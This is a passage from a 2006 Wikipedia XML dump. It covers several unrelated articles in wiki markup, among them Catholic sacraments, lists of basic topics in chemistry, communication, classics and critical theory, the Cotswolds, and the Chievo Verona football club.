''Holy Orders'' is the entering into the [[priesthood]] and involves a [[clerical celibacy|vow of celibacy]] in the [[Latin Rite]], though in [[Eastern Rites]] men who married before they were ordained to the diaconate may be ordained; the sacrament of Holy Orders is given in three degrees: that of the deacon (even in the Latin Rite a permanent deacon may be married before becoming a deacon), that of the priest, and that of the bishop.  Only a bishop can be the minister of this sacrament nowadays, although there is an ancient precedent for a cathedral chapter of priests consecrating one of their own.

== Anointing of the Sick ==
The [[Anointing of the Sick]] is also known as ''extreme unction'' and involves the anointing with oil of the sick and dying (usually accompanied by the Eucharist), in order to confer special grace to spiritually strengthen the person.  According to the [[Catechism of the Catholic Church]], anyone expecting to undergo a serious operation, the elderly, and anyone in danger of death is encouraged to receive this sacrament.  Only a priest (or higher prelate) can administer this sacrament, and it may be given on more than one occasion.

It is held that in some cases this sacrament effects a miraculous cure, but only if there are things God wishes the recipient of the sacrament to do before dying (known as [[divine providence]]).  However, its essential purpose is for spiritual strengthening.

== The ordinary ministers of the sacraments ==

{| border='1' cellpadding='2'
|+ Ministers of sacraments in the [[Roman Catholic Church]]
!Sacrament
!Ordinary ministers
!Extraordinary ministers
|-
| [[Baptism]]
| clergy&lt;sup&gt;1&lt;/sup&gt;
| [[laity]] (illegal except in emergencies, but still valid)
|-
| [[Confirmation]]
| bishop
| priest (illegal except in emergencies or with permission of the bishop, but still valid)
|-
| [[Eucharist]] (consecration)&lt;sup&gt;2&lt;/sup&gt;
| bishop or priest
| none; always invalid
|-
| Eucharist (communion)&lt;sup&gt;3&lt;/sup&gt;
| clergy
| acolyte (legal when not enough clergy are available)&lt;br&gt;other laity (legal when not enough clergy or acolytes)
|-
| [[Reconciliation]]
| bishop or priest
| none; always invalid
|-
| [[Anointing of the Sick]]
| bishop or priest
| none; always invalid
|-
| [[Holy Matrimony]]
| husband and wife (witnessed by bishop, priest, or deacon)
| husband and wife (without witnessing clergy) (legal in isolated regions underserved by priests and deacons)
|-
| [[Holy Orders]] (bishop)&lt;sup&gt;4&lt;/sup&gt;
| three or more bishops
| fewer than three bishops; legal with permission of the [[Pope]]
|-
| Holy Orders (priest and deacon)
| bishop
| none; always invalid
|}

#''Clergy'', in this context, means a [[bishop]], [[priest]], or [[deacon]].
#The Eucharist has two parts.  The first part of the Eucharistic sacrament is the consecration, or the prayer over the gifts that the priest or bishop says.  This is when [[transubstantiation]] occurs, according to Catholics.
#The second part of the Eucharist is communion, or the distribution of the consecrated elements (bread and/or wine).  More people may participate as ministers in this part, so it is treated separately.
#Since Holy Orders has special rules when ordaining a bishop, the bishop ordination is treated separately.

==[[Anglo-Catholicism]]==

The Anglican Churches retain seven sacraments as well. Some Anglicans consider the five sacraments other than Baptism and the Eucharist to be &quot;sacramental rites&quot; but the distinction is semantic.

The theology and canon law of the sacraments is similar, with a few key differences:

*Many Anglican churches hold that a woman can receive holy orders and celebrate the mass
*Anglicans differ on what change takes place in the Eucharist. Opinions range from [[transubstantiation]] to [[memorialism]]. (See [[lay presidency]]).
*Private Confession is not required. The traditional Anglican saying on the matter is &quot;All may, none must, some should.&quot;
*There is mounting debate in the West over whether a marriage can be contracted by two persons of the same sex.
*Only bishops can confirm. This is never delegated to priests.

==External links==
* [http://www.vatican.va/archive/ccc_css/archive/catechism/p2s2.htm Catechism of the Catholic Church on the Seven Sacraments] (see also [[Catechism of the Catholic Church|entry]])
* [http://www.americancatholic.org/Features/Sacraments/default.asp Seven Catholic Sacraments'Signs and Instruments of God's Grace]

[[ja:??]]
[[it:Sacramento (cattolicesimo)]]
[[zh:聖禮]]

[[Category:Seven sacraments|*]]
[[Category:Sacraments|*]]</text>
    </revision>
  </page>
  <page>
    <title>List of basic chemistry topics</title>
    <id>6896</id>
    <revision>
      <id>36287119</id>
      <timestamp>2006-01-23T00:24:13Z</timestamp>
      <contributor>
        <username>Bduke</username>
        <id>541218</id>
      </contributor>
      <comment>quantum chemistry --&gt; semiempirical methods</comment>
      <text xml:space="preserve">Below is a list of basic topics in '''[[chemistry]]''' -- topics which will help the beginner become familiar with the field of chemistry.  For a comprehensive list, see [[List of chemistry topics]].

'''Structured list :'''
* '''Atomic structure :''' [[Atom]] -- [[Ion (physics)]] -- [[Electron]] -- [[Proton]] -- [[Neutron]] -- [[Atomic orbital]] -- [[Molecular orbital]] -- [[Chemical element]] -- [[Valence]] -- [[Atomic nucleus]] -- [[Isotope]]
* '''[[Chemical reaction]]''' -- [[Chemical formula]] -- [[Structural formula]] -- [[mole (unit)|Mole]] -- [[Stoichiometry]] -- [[Chemical nomenclature]] -- [[Chemical equilibrium]] -- [[Reversible reaction]] -- [[Electrophile]] -- [[Nucleophile]] -- [[Redox]]
* '''Bonding :''' [[Chemical bond]] -- [[Ionic bond]] -- [[Covalent bond]] -- [[Metallic bond]] -- [[Hydrogen bond]] -- [[Intermolecular force]] -- [[Dipole]]
* '''Structure :''' [[Gas]] -- [[Liquid]] -- [[Molecule]] -- [[Solid]] -- [[Isomer]] -- [[Allotropy]] -- [[Crystal]] -- [[Complex (chemistry)]] -- [[Ligand]] -- [[Chemical compound]] -- [[Stereochemistry]]
* '''Mixtures and [[Solution]]s:''' [[Concentration]] -- [[Vapour pressure]] -- [[Raoult's law]] -- [[Partial pressure]] -- [[solvation]]

* '''Chemical techniques :''' [[Titration]] -- [[Distillation]] -- [[Chromatography]]  -- [[Reflux]] -- [[Buffer solution]] -- [[Filtration]] -- [[Hydrolysis]] -- [[Condensation reaction]]
* '''Properties :''' [[pH]] -- [[electronegativity]]
*'''Apparatus :''' [[Bunsen burner]] -- [[Calorimeter]] -- [[Colorimeter]] -- [[Burette]] -- [[Thermometer]]
* '''Branches of chemistry'''
** '''[[Analytical chemistry]]''' :
*** '''[[Electrochemistry]] :''' [[Electrochemical cell]] -- [[Oxidation]] -- [[Reduction]] -- [[Electrode potential]] -- [[Oxidation number]] -- [[Electrolysis]] -- [[Electrolytic cell]] -- [[Electrolyte]] -- [[Nernst equation]]
*** '''[[Spectroscopy]]''' : [[atomic absorption spectroscopy]] -- [[Auger electron spectroscopy]] -- [[electromagnetic spectroscopy]] -- [[fluorescence spectroscopy]] -- [[infrared spectroscopy]] -- [[mass spectrometer]] -- [[Mossbauer spectroscopy]] -- [[nuclear magnetic resonance]] -- [[neutron activation analysis]] -- [[Raman spectroscopy]] -- [[UV/VIS spectroscopy| UV/Vis spectrophotometry]] -- [[X-ray photoelectron spectroscopy]] --
** '''[[Inorganic chemistry]]''' : [[Acid]] -- [[Base (chemistry)]] -- [[Alkali]] -- [[Salt]] -- [[pH]]
*** '''[[Solid state chemistry]]'''
** '''[[Organic chemistry]]''' : [[Functional group]] -- [[Hydrocarbon]] -- [[Alkane]] -- [[Alkene]] -- [[Halogenoalkane]] - [[Alcohol]] -- [[Ether]] -- [[Aldehyde]] -- [[Ketone]] - [[Carboxylic acid]] -- [[Ester]] -- [[Alicyclic compound]] -- [[Amine]] -- [[Amide]] -- [[Amino acid]] -- [[Polymer]] -- [[Polymerization]] -- [[Organic nomenclature]] -- [[Aromatic hydrocarbon|Arene]] -- [[Phenol]] -- [[Peptide]] 
*** '''[[Stereochemistry]]''' : [[Optical isomerism]] -- [[Chirality (chemistry)|Chirality]]
** '''[[Physical chemistry]]''' : 
*** '''[[chemical kinetics|Kinetics]]:''' [[Catalyst]] -- [[Enzyme]] -- [[Arrhenius equation]]
*** '''[[Thermochemistry]]''' : [[Enthalpy]] -- [[Activation energy]] -- [[Entropy]] 
*** '''[[Computational chemistry]]''' : [[Molecular modeling]] -- [[Molecular dynamics]] -- [[Molecular mechanics]] -- [[Quantum chemistry|Quantum methods]] -- [[Combinatorial chemistry]] -- [[Cheminformatics]] -- [[Bioinformatics]]
*** '''[[Quantum chemistry]]''' : [[Slater determinant]] - [[Hartree-Fock|Self-consistent field]] -- [[Hartree-Fock]] -- [[Moller-Plesset]] - [[Electron correlation]] - [[Valence electron semiempirical methods|Semiempirical methods]]
** '''[[Biochemistry]]''' : [[Protein]] -- [[Carbohydrate]] -- [[Fat]] -- [[Nucleic Acid]]
*'''[[Periodic table]]''' : [[Periodicity]] -- [[Group 1 element]]s -- [[Group 2 element]]s -- [[Transition metal]] -- [[Group 5 element]]s -- [[Group 6 element]]s -- [[Halogen]] -- [[Noble gas]] -- [[s block]] -- [[d block]] -- [[p block]] -- [[f block]]
*'''Famous [[chemist]]s''' : [[Marie Curie]] -- [[Dmitriy Mendeleyev]] -- [[Louis Pasteur]] -- [[Karl Ziegler]] -- [[Humphry Davy]] -- [[Michael Faraday]] -- [[John Dalton]] -- [[Wilhelm Ostwald]] -- [[Linus Pauling]] -- [[Joseph Priestley]]
*'''Important Chemical substances''': [[Water]] -- [[Ammonia]] -- [[Benzene]] -- [[Phenol]]

== See also ==
[[List of chemistry topics]]

[[Category:Chemistry| ]]
[[Category:Lists of basic topics|Chemistry]]
[[Category:Lists|Chemistry]]</text>
    </revision>
  </page>
  <page>
    <title>List of basic communication topics</title>
    <id>6897</id>
    <revision>
      <id>39994542</id>
      <timestamp>2006-02-17T10:09:44Z</timestamp>
      <contributor>
        <username>Davemon</username>
        <id>874442</id>
      </contributor>
      <minor />
      <comment>/* General */</comment>
      <text xml:space="preserve">Below is a list of basic topics in '''[[communication]]''' -- topics which will help the beginner become familiar with the field of communications.  For a comprehensive list, see [[List of communication topics]].


[[:Category:Human communication]]

== General ==

[[Alphabet]] -- [[Communication]] -- [[Communication theory]] -- [[Development communication]] -- [[Dialectic]] --[[Graphic Design]]-- [[Information]] -- [[Information theory]] -- [[Language]] -- [[Library]] -- [[Printing]] -- [[Propaganda]] -- [[Public speaking]] -- [[Speech]] -- [[Sophist]] -- [[Symbol]] -- [[Semiotics]]-- [[Translation]] -- [[Writing]]

== Fields ==

[[Advertising]] -- [[Computer mediated communication]] -- [[Journalism]] -- [[Marketing communications]] -- [[Non-verbal communication]] -- [[Organizational communication]] -- [[Persuasion]] -- [[Public relations]] --  [[Rhetoric]] -- [[Semiotics]]
-- [[Telecommunications]]

== People ==
[[Theodor Adorno]] -- [[Irwin Altman]] -- [[Aristotle]] -- [[Dean Barnlund]] -- [[Roland Barthes]] -- [[Gregory Bateson]] -- [[Walter Benjamin]] -- [[Charles Berger]] -- [[Frank Biocca]] -- [[Kenneth Burke]] -- [[Cicero]] -- [[Noam Chomsky]] -- [[Hugh Dalziel Duncan]] -- [[Karl W. Deutsch]] -- [[Walter Fisher]] -- [[George Gerbner]] -- [[Cees J. Hamelink]] -- [[Jürgen Habermas]] -- [[Max Horkheimer]] -- [[Harold Innis]] -- [[Irving Janis]] -- [[Wendell Johnson]] -- [[Walter Lippman]] -- [[Herbert Marcuse]] -- [[George Herbert Mead]] -- [[Marshall McLuhan]] -- [[Desmond Morris]] -- [[Maxwell McCombs]] -- [[Walter J. Ong]] -- [[Vance Packard]] -- [[Plato]] -- [[Neil Postman]] -- [[Quintilian]] -- [[I. A. Richards]] -- [[Everett M. Rogers]] -- [[Wilbur Schramm]] -- [[Claude Shannon]]  --  [[Deborah Tannen]]  -- [[Dalmas Taylor]] -- [[Warren Weaver]] -- [[Joe Walther]]

== Media and Technology ==

[[Book]] -- [[Communication technology]] -- [[Computers]] -- [[Computer arts]] -- [[Computer networks]] -- [[Conversation]] -- [[Film]] -- [[Graphic arts]] -- [[Image]] -- [[Internet]] -- [[Mail]] -- [[Mass media]] -- [[Media arts]] --[[News media]] -- [[Net-conferencing]] -- [[Newspaper]] -- [[Printing]] -- [[Radio]] -- [[Reacting]] -- [[Reading (activity)|Reading]] -- [[Technical writing]] -- [[Telephone]] -- [[Television]] -- [[Video]] -- [[Writing]]

== Theories, Schools, and Approaches ==

[[Theories of communication]] -- [[Agenda-setting theory]] -- [[Content analysis]] -- [[Conversation analysis]] -- [[Critical theory]] -- [[Cultivation theory]] -- [[Cultural studies]] -- [[Cybernetics]] -- [[Diffusion of innovations]] -- [[Elaboration likelihood model]] -- [[Ethnomethodology]] -- [[Excitation transfer theory]] -- [[Framing]] -- [[Hermeneutics]] -- [[Hypodermic needle model]] -- [[Information theory]] --[[Knowledge gap hypothesis]] -- [[Learning theory of language]] -- [[Limited capacity model]] -- [[Media ecology]] -- [[Network analysis]] -- [[Nonviolent Communication]] -- [[Opinion leadership]] -- [[Political economy]] -- [[Priming]] -- [[Scheme]] -- [[Social learning theory]] -- [[Social construction of reality]] -- [[Spiral of silence]] -- [[Structuralism]] -- [[Symbolic interactionism]]  -- [[Technology acceptance model]] -- [[Theory of cognitive dissonance]] -- [[Third-person effect]] -- [[Two-step flow of communication]] -- [[Uses and gratifications]] -- [[Uncertainty reduction theory]]

== Issues and Topics ==

[[Cultural imperialism]] -- [[Democracy]] -- [[Digital divide]] -- [[Family communication]] -- [[Hegemony]] -- [[Identity]] -- [[Imagined community]] -- [[Information society]] --  [[Late capitalism]] -- [[Media imperialism]] -- [[Micropolitics]] -- [[Nationalism]] -- [[NetworkAnatomy]] -- [[New world information order]] -- [[Postmodernity]] -- [[Public sphere]] -- [[Self]] -- [[Social capital]] -- [[Social network]] -- [[Stereotyping]] --[[Stigma]]-- [[Universal service]] -- [[Avatar (virtual reality)]]

[[Category:Communication|LIst of basic communication topics]]
[[Category:Lists of basic topics|Communication]]
[[Category:Lists|Communication]]</text>
    </revision>
  </page>
  <page>
    <title>List of basic classical topics</title>
    <id>6899</id>
    <revision>
      <id>40672264</id>
      <timestamp>2006-02-22T05:01:47Z</timestamp>
      <contributor>
        <username>That Guy, From That Show!</username>
        <id>419920</id>
      </contributor>
      <comment>[[WP:AWB|AWB assisted]] format/style fixy</comment>
      <text xml:space="preserve">Below is a list of basic topics in the [[classics]]. -- topics which will help the beginner become familiar with the classical world.  For a comprehensive list, see [[List of classical topics]].

==Forebears of the Classical World==
The Classical civilisation did not develop in isolation; the ancient Greeks were indebted to their geographical proximity to the much older, intellectually and technologically sophisticated cultures of the East.
*[[Babylonia]]
*[[Ancient Egypt|Egypt]]
*[[Phoenicia]]
==Greece==
===History of Greece===
*[[Aegean civilization|The Minoan civilisation]]
*[[Mycenaean Greece|The Mycenaean civilisation]]
*[[Greek Dark Ages|The Dark Ages]]
*[[Classical Greece]]
*[[Alexander the Great]]
*[[Hellenistic Greece|The Hellenistic period]]
*[[Roman Greece|Roman conquest of Greece]]
*[[Byzantine Empire|The Byzantine (Roman) Empire]]

===Greek philosophy===
*[[Pre-Socratic philosophy|The Prescocratics]]. These are philosophers who worked before Plato.
**The Milesians. These are the earliest Greek philosophers of whom we know. They worked in [[Miletus]] in [[Ionia]] in the [[6th century BC|6th century BCE]].
***[[Thales]]
***[[Anaximander]]
***[[Anaximenes]]
**[[Heraclitus]]
**The Eleatics. These philosophers worked in [[Elea]] in [[Magna Graecia]].
***[[Parmenides]]
***[[Zeno]]
**[[Atomism|The Atomists]]
***[[Leucippus]]
***[[Democritus]]
*[[Pythagoras]]
*[[Socrates]]
*[[Plato]]
*[[Aristotle]]
*[[Epicureanism]]
*[[Stoicism]]

===Greek science===
*[[History of astronomy#Ancient Greece|Greek astronomy]] and [[History of geography#The Greeks, the Romans and the Arabs|geography]]
**[[Ptolemy]]
*[[Greek mathematics]]
**[[Euclid]]
*Greek medicine
**[[Hippocrates]]
**[[Galen]]

===Greek language===
*[[Greek alphabet]]
*[[Ancient Greek]]
**[[Attic dialect]]
**[[Aeolic dialect]]
**[[Doric dialect]]
**[[Ionic dialect]]
**[[Homeric Greek]]
*[[Koine]]

===Greek art===
====Greek literature====
*[[Greek literature]]
*Poets
**[[Homer]]
***''[[The Iliad]]''
***''[[The Odyssey]]''
**[[Hesiod]]
***''[[Theogony]]''
***''[[Works and Days]]''
*Playwrights
**[[Tragedy#Greek tragedy|Tragedians]]
***[[Aeschylus]]
***[[Euripides]]
***[[Sophocles]]
**[[Comedy|Comic playwrights]]
***[[Aristophanes]]
*[[New Testament|The New Testament]]

====Greek architecture====
*The Classical orders
**[[Doric order]]
**[[Ionic order]]
**[[Corinthian order]]
*[[Parthenon|The Parthenon]]
====Greek sculpture====
*[[Phidias]]
===Greek mythology and religion===
*[[Greek mythology]]
*[[Greek religion]]
==Rome==
===History of Rome===
*[[Founding of Rome|The founding of Rome]]
*[[Roman Kingdom]]
*[[Roman Republic]]
*[[Roman Empire]]
*[[Decline of the Roman Empire|The fall of Rome]]

===Latin language===
*[[Latin]]
**[[Classical Latin]]
**[[Vulgar Latin]]

===Roman literature===
*Poets
**[[Virgil]]
***''[[Aeneid|The Aeneid]]''
***''[[Eclogues|The Eclogues]]''
***''[[Georgics|The Georgics]]''
**[[Ovid]]
***''[[Metamorphoses (poem)|Metamorphoses]]''
**[[Lucretius]]
***''[[On the Nature of Things]]''
*Prose writers
**[[Cicero]]
*[[Vulgate|The Vulgate]]

===Roman mythology and religion===
*[[Roman mythology]]
*[[Roman religion]]
*[[Mystery religions]]
*[[Early Christianity]]
==Legacy of the Classical World==
===Languages===
The Classical languages have been immensely influential on all western European languages, bestowing on them an international learned vocabulary. Until the [[17th century]], the Latin language itself was used as the international medium of communication in diplomatic, scientific, philosophical and religious matters.
*[[Romance languages|The Romance languages]]
*The [[Modern Greek]] and [[Griko language|Griko]] languages
*[[Latin influence in English|Latin influence on English]]
*[[English words of Greek origin|Greek influence on English]]
*[[Ecclesiastical Latin]]
===Occidental literature===
*[[The Divine Comedy]]
*[[Paradise Lost]]

===Religion===
*[[Christianity]]
===Philosophy===
*[[Western philosophy]]
===Politics===
*[[Democracy]]

[[To_do, Ancient_Egypt]]
[[Category:Lists of basic topics|Classics]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:Cooking basic topics</title>
    <id>6900</id>
    <revision>
      <id>28701245</id>
      <timestamp>2005-11-18T22:15:05Z</timestamp>
      <contributor>
        <ip>24.18.171.99</ip>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[cooking]]</text>
    </revision>
  </page>
  <page>
    <title>List of basic critical theory topics</title>
    <id>6901</id>
    <revision>
      <id>32081111</id>
      <timestamp>2005-12-20T08:56:38Z</timestamp>
      <contributor>
        <username>Fplay</username>
        <id>549736</id>
      </contributor>
      <comment>/* Related schools of thought */</comment>
      <text xml:space="preserve">Below is a list of basic topics in '''[[critical theory]]''' -- topics which will help the beginner become familiar with the field of critical theory.  For a comprehensive list, see [[List of critical theory topics]].


==Major concepts, key terms, theories, schools of thought==

[[Reason]], [[Enlightenment (concept)|Enlightenment]], [[Negative dialectic]], [[Communicative action]], [[Public sphere]], [[Civic society]], Constellation, [[Cultural industry]], [[Late capitalism]].

==Major theorists==
[[Fredric Jameson]], [[Herbert Marcuse]], [[Taccheri]], [[Louis Althusser]], [[Jean Baudrillard]], [[Stuart Hall (cultural theorist)|Stuart Hall]], [[Slavoj Zizek]], [[Raymond Williams]], [[Moshe Postone]], [[Julia Kristeva]], [[Michel Foucault]], [[David Harvey (geographer)|David Harvey]], [[Loïc Wacquant]], [[Edward Said]], [[Gayatri Spivak]]. See also [[List of critical theorists]].

===Frankfurt School members and their close colleagues===

[[Theodor Adorno]], [[Max Horkheimer]], [[Jürgen Habermas]], [[Herbert Marcuse]], [[Erich Fromm]], [[Walter Benjamin]], [[Leo Lowenthal]], [[Gyorgy Lukacs]], [[Ernst Bloch]], [[Bertolt Brecht]].

==Major works==

''[[One-Dimensional Man]]'', ''[[Escape from Freedom]]'', ''[[Theory of Communicative Action]]'', ''[[Structural Transformation of the Public Sphere]]'', ''[[Negative Dialectic]]'', ''[[Dialectic of Enlightenment]]'', ''[[Writing and Difference]]'', ''[[Of Grammatology]]''.

==Major historical events==

[[Habermas-Luhmann debate]], [[Habermas-Lyotard debate]], [[Adorno-Popper debate]].

==Related schools of thought==

[[Deconstruction]], [[Neo-Marxism]], [[Post-Marxism]], [[Postcolonialism]], [[Postmodernism]], [[Poststructuralism]].

[[Category:Critical theory]]
[[Category:Lists of basic topics|Critical theory]]
[[Category:Wikipedia missing topics]]</text>
    </revision>
  </page>
  <page>
    <title>Cotswolds</title>
    <id>6902</id>
    <revision>
      <id>41909357</id>
      <timestamp>2006-03-02T15:25:28Z</timestamp>
      <contributor>
        <ip>194.164.88.29</ip>
      </contributor>
      <comment>/* Area of Outstanding Natural Beauty */</comment>
      <text xml:space="preserve">The '''Cotswolds''' are a range of hills in central [[England]], sometimes called the &quot;heart of England&quot;, a hilly area reaching over 300 m or 1000 feet. The area has been designated as the '''Cotswolds Area of Outstanding Natural Beauty'''. Their highest point is [[Cleeve Hill]] at 330m/1083ft.

The Cotswolds lie within the current [[ceremonial counties of England|ceremonial counties]] of  [[Oxfordshire]], [[Gloucestershire]], [[Wiltshire]], [[Somerset]], [[Warwickshire]], and [[Worcestershire]]. The county of Gloucestershire forms the largest area of the Cotswolds.

==Description==
The spine of the Cotswolds runs southwest to northeast through six counties (see note above), particularly [[Gloucestershire]], [[Oxfordshire]], and southern [[Warwickshire]]. The northern and western edges of the Cotswolds are marked by steep escarpments down to the [[River Severn|Severn valley]] and the [[River Avon, Warwickshire|Avon]], the eastern boundary by the city of [[Oxford]] (the city of dreaming spires), the west by [[Stroud, England|Stroud]], and the south by the middle reaches of the [[Thames Valley]] and towns such as [[Cirencester]], [[Lechlade]] and [[Fairford]]. However, key features of the area, including the characteristic uplift of the ''''Cotswold Edge'''' can be clearly seen as far south as [[Bath]].

[[Image:cotswolds.bibury.cottages.750pix.jpg|thumb|right|250px|A Cotswold scene at Bibury in Gloucestershire]]

The area is characterised by attractive small [[town]]s and [[village]]s built of the underlying rock, known as ''[[Cotswold stone]]'' (a yellow [[oolite|oolitic]] [[limestone]]). In the [[Middle Ages]], the Cotswolds were  prosperous from the [[wool]] trade, some of this money was put into the building of [[church]]es, so the area has a number of large, handsome Cotswold stone &quot;[[wool church]]es&quot;.  The area remains affluent and has attracted wealthy Londoners and others who own [[second home]]s in the area or have chosen to retire to the Cotswolds.

Typical Cotswold towns are [[Broadway,_Worcestershire|Broadway]], [[Burford]], [[Chipping Norton, Oxfordshire|Chipping Norton]], [[Cirencester]], [[Moreton-in-Marsh]] and [[Stow-on-the-Wold]]. The Cotswold village of [[Chipping Campden]] is notable for being the home of the [[Arts and Crafts movement]], founded by [[William Morris]] at the end of the 19th and beginning of the 20th centuries. William Morris lived, occasionally, in [[Broadway Tower]] a folly now in country park. Chipping Campden is also well known for the annual [[Cotswold Games]], a celebration of sports and games dating back to the early [[17th century]].

==Area of Outstanding Natural Beauty==

The Cotswolds was designated as an [[Area of Outstanding Natural Beauty]] in [[1966]], with an expansion on [[21 December]] [[1990]] to 1,990 square kilometres. In 1991 all AONBs were measured again using modern methods. The official area of the Cotswolds AONB increased to 2,038 square kilometres. In 2000 the government confirmed that AONBs had the same landscape quality and status as National Parks. This year, 2006, is the 40th Anniversary of The AONB.

The designation was made to conserve and enhance the unique landscape. In the early days of discussions about Areas of Outstanding Natural Beauty the Cotswolds was not given priority for AONB status and it was only down to pressure from local members of the Campaign to Protect Rural England that the Cotswolds was considered early on in the designation programme. Without that pressure the Cotswolds may have had to wait for another 10 years for protected status.

The largest of 40 AONBs in England and Wales, the Cotswolds stretches from the border regions of South Warwickshire and Worcestershire, through West Oxfordshire and Gloucestershire and takes in parts of West Wiltshire and Bath and North East Somerset in the South. 

The [[Cotswold Way]] is a long-distance footpath (approx 103 miles) running the length of the AONB. 

The Cotswold Voluntary Wardens Service was established in 1968 to help conserve and enhance the area. There are now over 300 Wardens. In 2005 they gave over 36,000 hours of their time.

==Transport==
The [[M5 motorway]] and [[Cross Country Route|Cross Country]] rail line run north - south close to the western boundary of the area.  The [[M4 motorway]] and [[Great Western Main Line]] cross the area in the south as do the [[A40]] road and [[Cotswold Line]] in the north. [[Cheltenham]] is a hub for [[National Express]] coach services.

==Note on counties==
Between [[1974]] and [[1995]] parts of the AONB fell within the newly formed administrative and ceremonial [[County of Avon]]. After [[1995]] Avon was divided between four administrative unitary authorities with 'shadow county' status, the relevant ones for the AONB being [[South Gloucestershire]] and [[Bath and North-East Somerset]]. For ceremonial purposes these counties are returned to their pre-1974 [[Lord-lieutenant|lord-lieutenancies]].

==See also==
[[Image:Horse in a field of buttercups English Cotswold countryside in Spring.JPG|thumb|right|250px|A horse in a field of buttercups, taken in the Cotswolds in Spring 2005]]
*[[Areas of Outstanding Natural Beauty in England]]
*[[Geology of the United Kingdom]]
*[[UK topics]]

==External links==
*[http://www.cotswoldswebsite.com/ Cotswolds web site - Cotswolds accommodation, events and information]
*[http://www.cotswoldsaonb.com/ Cotswolds Area of Outstanding Natural Beauty Website]
*[http://www.digital-brilliance.com/hyperg/towns/index.htm The ''Cotswold Hyperguide''] - A visitor's view of some Cotswold towns and villages
*[http://www.the-cotswolds.org/ The Cotswolds] - Tourist guide
*[http://www.thisisthecotswolds.co.uk/ This is the Cotswolds] - Local news and information
*[http://www.navito.co.uk/cotswolds/ Guide to the Cotswolds from Navito UK] - Introduction to the Cotswolds plus searchable database for locating Cotswolds pubs, hotels and other businesses and a book shop for maps and books about the Cotswolds. 

[[Category:Hills of Gloucestershire]]
[[Category:Oxfordshire]]
[[Category:Warwickshire]]
[[Category:Mountains and hills of England]]
[[Category:Hills of Wiltshire]]
[[Category:Areas of Outstanding Natural Beauty in England]]

[[de:Cotswold Hills]]
[[it:Cotswolds]]
[[no:Cotswolds]]
[[pl:Cotswold]]
[[fi:Cotswolds]]</text>
    </revision>
  </page>
  <page>
    <title>A.C. ChievoVerona</title>
    <id>6903</id>
    <revision>
      <id>41947476</id>
      <timestamp>2006-03-02T20:39:50Z</timestamp>
      <contributor>
        <username>Bota47</username>
        <id>341052</id>
      </contributor>
      <minor />
      <comment>robot  Modifying: es</comment>
      <text xml:space="preserve">{{Football club infobox |
  clubname = Chievo |
  image    = [[Image:Chievo_logo.gif|75px|logo]] |
  fullname = Associazione Calcio&lt;br&gt;ChievoVerona SrL |
  nickname = ''Asini Volanti'' (Flying Donkey) |
  founded  = [[1929]] |
  ground   = [[Stadio Marcantonio Bentegodi]],&lt;br/&gt;[[Verona]], [[Italy]] |
  capacity = 42,160 | 
  chairman = [[Luca Campedelli]] |
  manager  = [[Giuseppe Pillon]] |
  league   = [[Serie A]] |
  season   = 2004-05 |
  position = [[Serie A]], 15th |
  shirtsupplier= |
  shirtsponsors= |
  pattern_la1=|pattern_b1=|pattern_ra1=|
  leftarm1=000099|body1=FFFF00|rightarm1=000099|shorts1=FFFF00|socks1=FFFF00|
  pattern_la2=|pattern_b2=_bluequarters14|pattern_ra2=|
  leftarm2=FFFFFF|body2=FFFFFF|rightarm2=000099|shorts2=000099|socks2=FFFFFF|
}}

'''Associazione Calcio ChievoVerona''' is an [[Italy|Italian]] [[football (soccer)|football]] club named after a minor suburb of [[Verona]], [[Veneto]], and owned by Paluani, a [[cakes]] company and the inspiration for their original name, '''Paluani Chievo'''. They were founded in [[1929]] but did not became professional until [[1986]] when they joined [[Serie C2]] and changed their name to Chievo Verona. They were promoted to [[Serie A]] in [[2001]]. 

The club's historic nickname is ''gialloblu'' (from the club colors of yellow and blue), but is more often referred to today as the ''Asini Volanti'' (Flying Donkeys). This nickname, derived from the mounted horseman on the club's crest, was originally a derogatory term applied by fans from crosstown rivals Hellas, who claimed Chievo had stolen Hellas' colors, name, and stadium. Hellas fans also said that donkeys would fly before Chievo made it to Serie A. 
However, Chievo fans have now largely embraced the nickname as a badge of honor. Chievo's official Web site shows an image of a flying [[donkey]] next to the club's crest, and the club's online shop sells a stuffed flying donkey doll. 

The club shares its stadium with Hellas which is the 42,160 seater [[Stadio Marcantonio Bentegodi|Marcantonio Bentegodi]] stadium.

==Current first team squad==
''As of January 31, 2006''
{{Football squad start}}
{{Football squad player|no=1|nat=Italy|name=[[Enrico Alfonso]]|pos=GK}}
{{Football squad player|no=3|nat=Italy|name=[[Lorenzo D'Anna]]|pos=DF|other=captain}}
{{Football squad player|no=4|nat=Italy|name=[[Marco Malagò]]|pos=DF}}
{{Football squad player|no=5|nat=Brazil|name=[[Luciano Siqueira de Oliveira|Luciano]]|pos=MF}}
{{Football squad player|no=7|nat=Italy|name=[[Franco Semioli]]|pos=MF}}
{{Football squad player|no=8|nat=Italy|name=[[Federico Giunti]]|pos=MF}}
{{Football squad player|no=9|nat=Italy|name=[[Simone Tiribocchi]]|pos=FW}}
{{Football squad player|no=10|nat=Italy|name=[[Andrea Zanchetta]]|pos=MF}}
{{Football squad player|no=11|nat=Brazil|name=[[Amauri Carvalho de Oliveira|Amauri]]|pos=FW}}
{{Football squad player|no=12|nat=Italy|name=[[Alberto Fontana]]|pos=GK}}
{{Football squad player|no=14|nat=Italy|name=[[Yuri Breviario]]|pos=MF}}
{{Football squad player|no=15|nat=Nigeria|name=[[Victor Nsofor Obinna]]|pos=FW|other=on loan from [[Internazionale Milano F.C.|Inter Milan]]}}
{{Football squad player|no=16|nat=Italy|name=[[Emiliano Landolina]]|pos=MF}}
{{Football squad mid}}
{{Football squad player|no=17|nat=Germany|name=[[Giuseppe Gemiti]]|pos=MF}}
{{Football squad player|no=18|nat=Italy|name=[[Lorenzo Squizzi]]|pos=GK}}
{{Football squad player|no=19|nat=Italy|name=[[Daniele Franceschini]]|pos=MF}}
{{Football squad player|no=20|nat=Italy|name=[[Andrea Mantovani]]|pos=DF}}
{{Football squad player|no=21|nat=Italy|name=[[Paolo Sammarco]]|pos=MF|other=on loan from [[AC Milan]]}}
{{Football squad player|no=23|nat=Italy|name=[[Salvatore Lanna]]|pos=DF}}
{{Football squad player|no=24|nat=Italy|name=[[Federico Cossato]]|pos=FW}}
{{Football squad player|no=26|nat=Italy|name=[[Giuseppe Scurto]]|pos=DF}}
{{Football squad player|no=27|nat=Italy|name=[[Fabio Moro]]|pos=DF}}
{{Football squad player|no=29|nat=Italy|name=[[Davide Mandelli]]|pos=DF}}
